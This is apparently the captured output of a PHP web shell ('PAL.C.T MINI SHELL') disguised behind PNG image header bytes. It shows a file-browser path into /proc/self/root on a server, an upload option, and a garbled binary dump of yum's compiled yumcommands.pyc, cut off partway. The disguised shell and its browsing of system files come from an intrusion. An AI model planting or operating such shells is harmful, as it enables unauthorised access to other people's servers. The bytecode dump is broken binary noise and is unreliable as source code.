php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/yum-cli/
upload
files >> //proc/self/root/usr/share/yum-cli/yumcommands.pyc

[c@sdZddkZddkZddklZddklZddklZddkZddkZddk	Z	ddk
Z
ddkZddkl
Z
lZlZddkZddklZdZd	Zd
ZdZdZd
ZdZgdZdfdYZdefdYZdefdYZdefdYZddZdZ dZ!defdYZ"de"fdYZ#d efd!YZ$d"efd#YZ%d$e%fd%YZ&d&e%fd'YZ'd(e%fd)YZ(d*e%fd+YZ)d,efd-YZ*d.efd/YZ+d0efd1YZ,d2efd3YZ-d4efd5YZ.d6efd7YZ/d8efd9YZ0d:efd;YZ1d<efd=YZ2d>efd?YZ3d@efdAYZ4dBefdCYZ5dDefdEYZ6dFefdGYZ7dHefdIYZ8dJefdKYZ9dLefdMYZ:dNefdOYZ;dS(Ps<
Classes for subcommands of the yum command line interface.
iN(t
logginglevels(t_(tmisc(t
utf8_widthtutf8_width_fillt
to_unicode(t
parsePackagescCs:|iidjo#|iitdtindS(sd
    Verify that the program is being run by the root user.

    @param base: a YumBase object.
    is,You need to be root to perform this command.N(tconftuidtloggertcriticalRtclitCliError(tbase((s!/usr/share/yum-cli/yumcommands.pytcheckRootUID%scCs||ipkxh|iiD]S}|ip
|io9|idjo)td}|ii|t	i
qqWndS(Nts

You have enabled checking of packages via GPG keys. This is a good thing. 
However, you do not have any GPG public keys installed. You need to download
the keys for packages you wish to install and install them.
You can do that by running the command:
    rpm --import public.gpg.key


Alternatively you can specify the url to the key you would like to use
for a repository in the 'gpgkey' option in a repository section and yum 
will install it for you.

For more information contact your distribution or package provider.
(tgpgKeyChecktrepostlistEnabledtgpgcheckt
repo_gpgchecktgpgkeyRR	R
RR(R
trepotmsg((s!/usr/share/yum-cli/yumcommands.pytcheckGPGKey/s
$
	cCsHt|djo1|iitd||itindS(Nis(Error: Need to pass a list of pkgs to %s(tlenR	R
RtusageRR(R
tbasecmdtextcmds((s!/usr/share/yum-cli/yumcommands.pytcheckPackageArgDs
	
cCsDt|djo-|iitd|itindS(NisError: Need an item to match(RR	R
RRRR(R
RR((s!/usr/share/yum-cli/yumcommands.pytcheckItemArgKs
cCsDt|djo-|iitd|itindS(Nis%Error: Need a group or list of groups(RR	R
RRRR(R
RR((s!/usr/share/yum-cli/yumcommands.pyt
checkGroupArgQs
cCsd
}t|d	jo0|iitd
di|tinxL|D]D}||jo1|iitd||itiqPqPWdS(Ntheaderstpackagestmetadatatdbcachetpluginssexpire-cachetrpmdbtallis#Error: clean requires an option: %ss, s!Error: invalid clean argument: %r(R R!R"R#R$sexpire-cachesrpmdbsall(RR	R
RtjoinRRR(R
RRt
VALID_ARGStcmd((s!/usr/share/yum-cli/yumcommands.pyt
checkCleanArgWs


cCst|djo|iitdnt|djol|iitd|dtii|dp4|iitd|d|i	t
iqn*|iitd|i	t
idS(s
    Verify that the arguments given to 'yum shell' are valid.

    yum shell can be given either no args, or exactly one argument,
    which is the name of a file. If these are not met,
    raise cli.CliError.
    isNo argument to shellisFilename passed to shell: %ss2File %s given as argument to shell does not exist.s5Error: more than one file given as argument to shell.N(Rtverbose_loggertdebugRtostpathtisfileR	R
RRR(R
RR((s!/usr/share/yum-cli/yumcommands.pyt
checkShellArgfs		
	

cCstodS|iiodSx6|D].}|idotii|odSq(Wtd}|ii	|t
idS(s]
    Verify that there is at least one enabled repo.

    @param base: a YumBase object.
    Ns.rpmsThere are no enabled repos.
 Run "yum repolist all" to see the repos you have.
 You can enable repos with yum-config-manager --enable <repo>(tTrueRRtendswithR-R.texistsRR	R
RR(R
tpossible_local_filestlfileR((s!/usr/share/yum-cli/yumcommands.pytcheckEnabledRepos	#	t
YumCommandcBsPeZdZdZdZdZdZdZdZdZ	RS(cCst|_t|_dS(N(tFalsetdone_command_oncethidden(tself((s!/usr/share/yum-cli/yumcommands.pyt__init__s	cGs4|ip|iiti||nt|_dS(N(R9R+tlogRtINFO_2R1(R;R
Rtargs((s!/usr/share/yum-cli/yumcommands.pytdoneCommands
cCsgS(N((R;((s!/usr/share/yum-cli/yumcommands.pytgetNamesscCs
tdS(sO
        @return: A usage string for the command, including arguments.
        N(tNotImplementedError(R;((s!/usr/share/yum-cli/yumcommands.pytgetUsagescCs
tdS(sG
        @return: A one line summary of what the command does.
        N(RB(R;((s!/usr/share/yum-cli/yumcommands.pyt
getSummaryscCsdS(N((R;R
RR((s!/usr/share/yum-cli/yumcommands.pytdoCheckscCsdtdgfS(s
        @return: (exit_code, [ errors ]) where exit_code is:
           0 = we're done, exit
           1 = we've errored, exit with error string
           2 = we've got work yet to do, onto the next stage
        is
Nothing to do(R(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyt	doCommandscCstS(N(R1(R;R
RR((s!/usr/share/yum-cli/yumcommands.pytneedTss(
t__name__t
__module__R<R@RARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyR7s								tInstallCommandcBs5eZdZdZdZdZdZRS(cCsdgS(Ntinstall((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCs
tdS(Ns
PACKAGE...(R(R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns,Install a package or packages on your system(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs5t|t|t|||t||dS(N(RRRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsY|i|tdy|i|SWn+tiij
o}dt|gfSXdS(NsSetting up Install Processi(R@RtinstallPkgstyumtErrorstYumBaseErrortstr(R;R
RRte((s!/usr/share/yum-cli/yumcommands.pyRFs
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRJs
				t
UpdateCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Ntupdates	update-to((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCs
tdS(Ns[PACKAGE...](R(R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns+Update a package or packages on your system(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs%t|t|t||dS(N(RRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCse|i|tdy|i|d|djSWn+tiij
o}dt|gfSXdS(NsSetting up Update Processt	update_tos	update-toi(R@Rt
updatePkgsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRRs
				tDistroSyncCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Nsdistribution-synchronizationsdistro-sync((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCs
tdS(Ns[PACKAGE...](R(R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns?Synchronize installed packages to the latest available versions(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs%t|t|t||dS(N(RRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCse|i|tdyd|i_|i|SWn+tiij
o}dt|gfSXdS(Ns/Setting up Distribution Synchronization Processi(	R@RRt	obsoletestdistroSyncPkgsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRVs
				RcCst|idt|it|}t|idt|i}t|i}|idjo|t|id7}nxWd|fd|fd|ffD]4\}}||i|d|||cd7<qWdS(sl Get the length of each pkg's column. Add that to data.
        This "knows" about simpleList and printVer. it0tnatvertridiN(Rtnametarchtversiontreleasetui_from_repotepocht
setdefault(tdatatpkgtindentRZR[R\tdtv((s!/usr/share/yum-cli/yumcommands.pyt_add_pkg_simple_list_lenss* "c	Cshhd6hd6hd6}xJ|i|i|i|i|ifD]$}x|D]}t||qMWq@Wt|idjo>x;|iD],\}}t||t||ddqWn|d|d|dg}|i	|dd	}|d|d	|d
fS(sA Work out the dynamic size of the columns to pass to fmtColumns. RZR[R\iRft itremainder_columniis    (
t	installedt	availabletextrastupdatestrecentRiRRWtobsoletesTuplestcalcColumns(R
typlRdtlstRetnpkgtopkgtcolumns((s!/usr/share/yum-cli/yumcommands.pyt_list_cmd_calc_columnss

cCsd|p|St||\}}}t||}g}|D]}||jo||q?q?~S(sE Do an extra exclude for installed packages that match the cmd line. (Rtset(tpkgstcmdline_excludesRQtmtutexcludedt_[1]tpo((s!/usr/share/yum-cli/yumcommands.pyt_cmdline_exclude s
tInfoCommandcBs5eZdZdZdZdZdZRS(cCsdgS(Ntinfo((R;((s!/usr/share/yum-cli/yumcommands.pyRA)scCsdS(Ns7[PACKAGE|all|installed|updates|extras|obsoletes|recent]((R;((s!/usr/share/yum-cli/yumcommands.pyRC,scCs
tdS(Ns4Display details about a package or group of packages(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD/scCsy)|iid}|i|d|}Wn+tiij
o}dt|gfSXh}h}h}	d}
|djot||}
n|oq|i	ogxd|i
|i|iD]G}|i
|if}||jp|i||o|||<qqWn|oc|ioYxV|iD]G}|i
|if}||jp|i||o|||<q"q"Wn|ob|ioXxUt|iD]@}
|
iidjo'|
io|
|	|
i
|
if<qqWn|ii}|ii}|ii}|ii}|iiot|i	|i|_	n|i|i	t d|d|d|
d	h|d
6|d6|d6|d
6}|ii!}|ii"}|ii#}|ii$}|i|it d|d|d|
d	h|d6|d
6|d6|d
6}|i|i%t d|d|
}|ii&}|ii'}|i|it d|d|	d|
d	h|d6|d
6}t(|i)djog|djoZddg}t dGHxdt|i*dt+i,dD]}|i-|dd|
qWn%|i|i)t d|d|
}|i|i.t d|d|
}t(|oV|doK|do@|do5|do*|do|dodt dgfSdgfSdS(Ntboldtinstalled_availableitlistRlsInstalled Packagesthighlight_naRwthighlight_modest>t<t=snot insAvailable PackagessExtra PackagessUpdated PackagesiRsObsoleting PackagestkeyRWsRecently Added PackagessNo matching Packages to list(/ttermtMODEtreturnPkgListsRMRNRORPtNoneRxRlthidden_availabletreinstall_availablet
old_availableR]R^tverGTRmthidden_installedRotsortedRtidtverifyLocalPkgRtcolor_list_installed_oldertcolor_list_installed_newertcolor_list_installed_reinstalltcolor_list_installed_extratquery_install_excludesRR{tlistPkgsRtcolor_list_available_upgradetcolor_list_available_downgradetcolor_list_available_reinstalltcolor_list_available_installRntcolor_update_localtcolor_update_remoteRRWRqtoperatort
itemgettertupdatesObsoletesListRp(R;R
RRt	highlightRsRQtupdate_pkgst	inst_pkgst
local_pkgsRwReRRtcliotclintclirtclietriptclautcladtclartclaitraptreptcultcurtruptroptobtuptrrap((s!/usr/share/yum-cli/yumcommands.pyRF2s

!
! "
		#
BcCs't|o|ddjotStS(NiRl(RR8R1(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRDRFRG(((s!/usr/share/yum-cli/yumcommands.pyR(s
				]tListCommandcBseZdZdZRS(cCsdgS(NR((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCs
tdS(Ns$List a package or groups of packages(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDs(RHRIRARD(((s!/usr/share/yum-cli/yumcommands.pyRs	tEraseCommandcBsGeZdZdZdZdZdZdZdZRS(cCs
ddgS(Nterasetremove((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns
PACKAGE...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns-Remove a package or packages from your system(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|t|||dS(N(RR(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs
cCsY|i|tdy|i|SWn+tiij
o}dt|gfSXdS(NsSetting up Remove Processi(R@Rt	erasePkgsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGscCstS(N(R1(R;R
RR((s!/usr/share/yum-cli/yumcommands.pytneedTsRemoves(	RHRIRARCRDRERFRGR(((s!/usr/share/yum-cli/yumcommands.pyRs						tGroupCommandcBseZdZRS(cCs|i|td|iddy|iWnStiij
odtdgfStiij
o}dt|gfSXdS(NsSetting up Group Processtdosackiis!No Groups on which to run command(	R@RtdoRepoSetuptdoGroupSetupRMRNtGroupsErrorRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs(RHRIRF(((s!/usr/share/yum-cli/yumcommands.pyRstGroupListCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Nt	grouplist((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NR((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(NsList available package groups(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|dS(N(R6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREscCs#ti|||||i|S(N(RRFtreturnGroupLists(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRFscCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyRs					tGroupInstallCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Ntgroupinstalltgroupupdate((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NsGROUP...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns.Install the packages in a group on your system(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs2t|t|t|||t|dS(N(RRRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsYti||||y|i|SWn+tiij
o}dt|gfSXdS(Ni(RRFt
installGroupsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRs
				tGroupRemoveCommandcBsGeZdZdZdZdZdZdZdZRS(cCs
ddgS(Ntgroupremovet
grouperase((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NsGROUP...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns/Remove the packages in a group from your system(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs(t|t|||t|dS(N(RRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs
cCsYti||||y|i|SWn+tiij
o}dt|gfSXdS(Ni(RRFtremoveGroupsRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGscCstS(N(R1(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyR
s(	RHRIRARCRDRERFRGR(((s!/usr/share/yum-cli/yumcommands.pyRs						tGroupInfoCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Nt	groupinfo((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NsGROUP...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns%Display details about a package group(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|||t|dS(N(RR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREscCsYti||||y|i|SWn+tiij
o}dt|gfSXdS(Ni(RRFtreturnGroupInfoRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRG"s(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyR
s					tMakeCacheCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Nt	makecache((R;((s!/usr/share/yum-cli/yumcommands.pyRA'scCsdS(NR((R;((s!/usr/share/yum-cli/yumcommands.pyRC*scCs
tdS(NsGenerate the metadata cache(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD-scCst|dS(N(R6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRE0scCs_|iitd|iitdyx,|iidD]}d|_d|_qBW|idd|ii|ii	ddd	d
hdd6d
d6dd6}xk|ii
D]Z}xQ|iiD]@}||joqnt
i|i|||d|iqWqWWn+tiij
o}d
t|gfSXdtdgfS(Ns*Making cache files for all metadata files.s=This may take a while depending on the speed of this computert*is	group:allRtmdtypeR&t	cacheonlyis
groups.xmltgroup_gzspkgtags.sqlitetpkgtagssupdateinfo.xmlt
updateinfotcachedsMetadata Cache Created(R	R,RRt	findRepostmetadata_expiretmdpolicyRtdoSetuptpopulateSackRtrepoXMLt	fileTypesRtrepo_gen_decompresst
retrieveMDtcacheRMRNRORP(R;R
RRRt	fname_maptMDRQ((s!/usr/share/yum-cli/yumcommands.pyRF3s2	





cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGTs(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyR%s					!tCleanCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Ntclean((R;((s!/usr/share/yum-cli/yumcommands.pyRAYscCsdS(Ns<[headers|packages|metadata|dbcache|plugins|expire-cache|all]((R;((s!/usr/share/yum-cli/yumcommands.pyRC\scCs
tdS(NsRemove cached data(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD_scCst|||t|dS(N(R*R6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREbscCsd|i_|i|S(Ni(RRtcleanCli(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRFfscCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGjs(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyRWs					tProvidesCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Ntprovidestwhatprovides((R;((s!/usr/share/yum-cli/yumcommands.pyRAnscCsdS(NtSOME_STRING((R;((s!/usr/share/yum-cli/yumcommands.pyRCqscCs
tdS(Ns*Find what package provides the given value(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDtscCst|||dS(N(R(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREwscCsS|iidy|i|SWn+tiij
o}dt|gfSXdS(NsSearching Packages: i(R	R,RRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFzs
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRms
				tCheckUpdateCommandcBs5eZdZdZdZdZdZRS(cCsdgS(Nscheck-update((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns[PACKAGE...]((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns#Check for available package updates(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|dS(N(R6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREscCs"dg|}|iiddd}y|i|}|iip|iitio+|i|}|i|_|i	|_	nt
||}t|idjoh}	|i
id}
|
oXxUt|iD]@}|iidjo'|io||	|i|if<qqWn|ii}|ii}
|i|idddd	|	d
|dh|d6|
d
6d}nt|idjoTtdGHx<t|i	dtidD]}|i|dd
|qWd}nWn+tiij
o}dt|gfSX|gfSdS(NRWiRoRRlRt
outputTypeRRRwRRsnot inidsObsoleting PackagesRi( RtinsertRRRWR+tisEnabledForRtDEBUG_3RqRxRRoRRRRRRR]R^RRRRRRRRMRNRORP(R;R
RRtobscmdstresultRsttyplRwRRRRRRRQ((s!/usr/share/yum-cli/yumcommands.pyRFsH

 "
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRs
				t
SearchCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Ntsearch((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NR((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns+Search package details for the given string(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|||dS(N(R(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREscCsY|iitdy|i|SWn+tiij
o}dt|gfSXdS(NsSearching Packages: i(R	R,RRRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyRs					tUpgradeCommandcBs5eZdZdZdZdZdZRS(cCs
ddgS(Ntupgrades
upgrade-to((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns
PACKAGE...((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns-Update packages taking obsoletes into account(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs%t|t|t||dS(N(RRR6(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsqd|i_|i|tdy|i|d|djSWn+tiij
o}dt|gfSXdS(NisSetting up Upgrade ProcessRTs
upgrade-to(	RRWR@RRURMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyRs
				tLocalInstallCommandcBsGeZdZdZdZdZdZdZdZRS(cCsti|t|_dS(N(R7R<R1R:(R;((s!/usr/share/yum-cli/yumcommands.pyR<s
cCs
ddgS(Ntlocalinstalltlocalupdate((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(NtFILE((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(NsInstall a local RPM(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCs(t|t|t|||dS(N(RRR(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREs

cCsn|i|td|dj}y|id|d|SWn+tiij
o}dt|gfSXdS(Ns Setting up Local Package ProcessRtfilelistt
updateonlyi(R@RtlocalInstallRMRNRORP(R;R
RRRRQ((s!/usr/share/yum-cli/yumcommands.pyRFscCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGs(	RHRIR<RARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyRs							tResolveDepCommandcBs,eZdZdZdZdZRS(cCsdgS(Nt
resolvedep((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Nt
DEPENDENCY((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(Ns5Determine which package provides the given dependency(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCsY|iitdy|i|SWn+tiij
o}dt|gfSXdS(Ns"Searching Packages for Dependency:i(R	R,Rt
resolveDepCliRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRFs
(RHRIRARCRDRF(((s!/usr/share/yum-cli/yumcommands.pyRs			tShellCommandcBs>eZdZdZdZdZdZdZRS(cCsdgS(Ntshell((R;((s!/usr/share/yum-cli/yumcommands.pyRAscCsdS(Ns
[FILENAME]((R;((s!/usr/share/yum-cli/yumcommands.pyRCscCs
tdS(NsRun an interactive yum shell(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDscCst|||dS(N(R0(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyREscCsV|i|tdy|iSWn+tiij
o}dt|gfSXdS(NsSetting up Yum Shelli(R@RtdoShellRMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRF"s
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRG)s(RHRIRARCRDRERFRG(((s!/usr/share/yum-cli/yumcommands.pyR	s					tDepListCommandcBs5eZdZdZdZdZdZRS(cCsdgS(Ntdeplist((R;((s!/usr/share/yum-cli/yumcommands.pyRA.scCsdS(Ns
PACKAGE...((R;((s!/usr/share/yum-cli/yumcommands.pyRC1scCs
tdS(NsList a package's dependencies(R(R;((s!/usr/share/yum-cli/yumcommands.pyRD4scCst|||dS(N(R(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRE7scCsY|i|tdy|i|SWn+tiij
o}dt|gfSXdS(NsFinding dependencies: i(R@RR
RMRNRORP(R;R
RRRQ((s!/usr/share/yum-cli/yumcommands.pyRF:s
(RHRIRARCRDRERF(((s!/usr/share/yum-cli/yumcommands.pyR-s
				tRepoListCommandcBs5eZdZdZdZdZdZRS(cCsdS(Ntrepolist(R((R;((s!/usr/share/yum-cli/yumcommands.pyRADscCsdS(Ns[all|enabled|disabled]((R;((s!/usr/share/yum-cli/yumcommands.pyRCGscCs
tdS(Ns,Display the configured software repositories(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDJsc2s

fd}fd}d}t|djo)|dd:jo|d}|d}nd}td	|}iiti}|djp|oyiiiWq7t	i
ij
ob|onxOiiD]9}	yii|	i
Wqt	i
ij
oqXqWq7Xniii}
|
iii}iid
iid}iid}
iid
}d}g}xM|
D]E}	t|o||	|oqnd;\}}}d}d}d}d}t}|djp |	i
|jp|	i|jot}||
|}}}n|	|jot}|djo
t}n|djo|oqn|p|oI|td|}ttd}|p|d7}|d7}qn|o||	}n|djp|o|piip
|	iot|	ii}nt|	i}||}|	ii}tg}|D]$\}}||	jo||qq~}|o)||}|p|d|7}qn||7}q[n`t}|djo
t}n|djo|oqn|td|}ttd}to|pwt|	} |o>|	io4|	ii i!}!|!|	i"i!jod| } qn|i#| |	i||f|fq	|o
|	i"}"nd}"i%td|	i%td|	ig}#|p|o#|#i%td|g7}#n|"o6|"i&dj	o&|#i%td|"i&g7}#n|"oM|"i'do?|"i'd}$|#i%tddi(t)|$g7}#n|"oy|"i'dokxht)|"i'dD]O}%|"i'd|%}$|#i%tdd|%di(t)|$fg7}#qWn|"oY|#i%tdt*i+|"i!i%td|i%td|g7}#nt,|	d o
|	i-}&n
|	i.}&|&o,|#i%td!di(|&g7}#n|o|	i/n|	ioh|#i%td"|	ig7}#|o;|	ii i!}'|#i%td#t*i+|'g7}#qn1|	i0o&|#i%td$|	i0g7}#n|ow|	i/om|&oe|	i/d}(t|	i/djo|(d%t|	i/d7}(n|#i%td!|(g7}#nt1i2i3|	i4ptd&})n%t1i5|	i4i6})t*i+|)})|	i7d'jotd(|)}nD|	i7ptd)|)}n&||	i7}td*||)f}|#i%td+|g7}#|	io/|#i%td,di(|	ig7}#n|	i8o/|#i%td-di(|	i8g7}#n|o#|#i%td.|g7}#nii9tid/d0i(tt:i;|#qqW|o|ottd1}*d}+d},d}-x|D]\} }.\}}}|*t| jot| }*n|+t|.jot|.}+n|,|t|jo|t|},n|-t|jot|}-q6
q6
W|djoii<|*d}/nZttd2|,jo(ii<|*ttd2d}/nii<|*|,d}/|/|+jo
|/}+n+|/|+8}/|*|/d7}*|+|/|/d7}+t=td1|*}0t=td3|+|+}1|djo ii9ti>d4|0|1n&ii9ti>d5|0|1td2x|D]\} }.\}}}|djo8ii9ti>d4t=| |*t=|.|+|+q+n|ot=||-d6t}nii9ti>d7t=| |*t=|.|+|+||q+Wndd8t;t?i@d9|tgfS(<Ncs:d}x$|iiD]}||i7}qWi|S(Ni(tsacktreturnPackagestpackagesizet
format_number(RtretRe(R
(s!/usr/share/yum-cli/yumcommands.pyt
_repo_sizeNs
cs?x8|D]0}|ii|dtdtjotSqWtS(Nt
name_matchtignore_case(RRR1R8(Rtpatternstpat(R
(s!/usr/share/yum-cli/yumcommands.pyt_repo_matchTs
	cSsttid|tS(Ns%d(RtlocaletformatR1(tnum((s!/usr/share/yum-cli/yumcommands.pyt_num2ui_num[siiR&tdisabledtenabledcSs
|iS((tlower(tx((s!/usr/share/yum-cli/yumcommands.pyt<lambda>cstgreenRtredtnormalRs: is+%sRsRepo-id      : sRepo-name    : sRepo-status  : sRepo-revision: tcontentsRepo-tags    : s, tdistrosRepo-distro-tags: s[%s]: %ssRepo-updated : sRepo-pkgs    : sRepo-size    : t
_orig_baseurlsRepo-baseurl : sRepo-metalink: s  Updated    : sRepo-mirrors : s
 (%d more)tUnknownisNever (last: %s)sInstant (last: %s)s%s second(s) (last: %s)sRepo-expire  : sRepo-exclude : sRepo-include : sRepo-excluded: s%s
s
srepo idtstatuss	repo names%s %ss%s %s %stlefts
%s %s %s%ss
repolist: s%d(sallRsenabled(RRR(ARtmapR+RRRRRtpkgSackRMRNt	RepoErrorRRtvaluestsortRtFG_COLORRR8R]R1RRRtexcludeRt
simplePkgListt	_excludesRPtmetalinkt
metalink_datatrepomdt	timestampRtappendRt
fmtKeyValFilltrevisionttagsR'RttimetctimethasattrR)tbaseurlturlst
mirrorlistR-R.R3tmetadata_cookietstattst_mtimeRtincludepkgsR=RRRwRR>RR(2R;R
RRRRRtargtverboseRRt
enabled_repost	on_ehibegt	on_dhibegton_hiendttot_numtcolstehibegtdhibegthiendt
ui_enabledtui_endis_widtui_numtui_excludes_numt
force_showR tui_sizeRtexcludesRtrtpidR\tmdtstmdtoutR=R(tbaseurlsttsturltlasttid_lentnm_lentst_lentui_lentrnameR,ttxt_ridttxt_rnam((R
s!/usr/share/yum-cli/yumcommands.pyRFMs	$


-



>



 ( 
	





$
(




	
cCstS(N(R8(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRGNs(RHRIRARCRDRFRG(((s!/usr/share/yum-cli/yumcommands.pyRBs				tHelpCommandcBsMeZdZdZdZdZedZdZdZ	RS(cCsdgS(Nthelp((R;((s!/usr/share/yum-cli/yumcommands.pyRATscCsdS(NtCOMMAND((R;((s!/usr/share/yum-cli/yumcommands.pyRCWscCs
tdS(NsDisplay a helpful usage message(R(R;((s!/usr/share/yum-cli/yumcommands.pyRDZscCslt|djo|itin?t|djp|d|ijo|itindS(Nii(RRRRtyum_cli_commands(R;R
RR((s!/usr/share/yum-cli/yumcommands.pyRE]s

'
c
Csg|id}y|i}Wnttfj
o
